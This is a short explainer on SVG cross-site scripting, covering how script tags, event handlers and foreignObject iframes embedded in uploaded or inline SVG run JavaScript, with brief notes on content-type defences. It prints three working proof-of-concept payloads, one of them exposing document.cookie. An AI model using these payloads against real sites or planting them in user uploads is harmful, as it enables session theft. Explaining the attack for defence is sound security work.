SVG XSS exploits the fact that SVG (Scalable Vector Graphics) files are XML-based and can contain embedded JavaScript. When SVG content is rendered inline or served without proper content-type restrictions, attackers can execute malicious scripts.
SVG supports various event handlers and even script tags. If an application allows SVG uploads or inline SVG content from users without proper sanitization, attackers can inject JavaScript that executes when the SVG is rendered.
Malicious SVG file:
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert(document.cookie)</script>
</svg>
// Or using event handlers:
<svg xmlns="http://www.w3.org/2000/svg">
<rect width="100" height="100" onmouseover="alert(1)"/>
</svg>
// Using foreignObject for HTML injection:
<svg>
<foreignObject>
<iframe srcdoc="<script>alert(1)</script>"></iframe>
</foreignObject>
</svg>
<img> tags (scripts blocked) vs <object>/<embed>Content-Type: image/svg+xml and Content-Disposition: attachment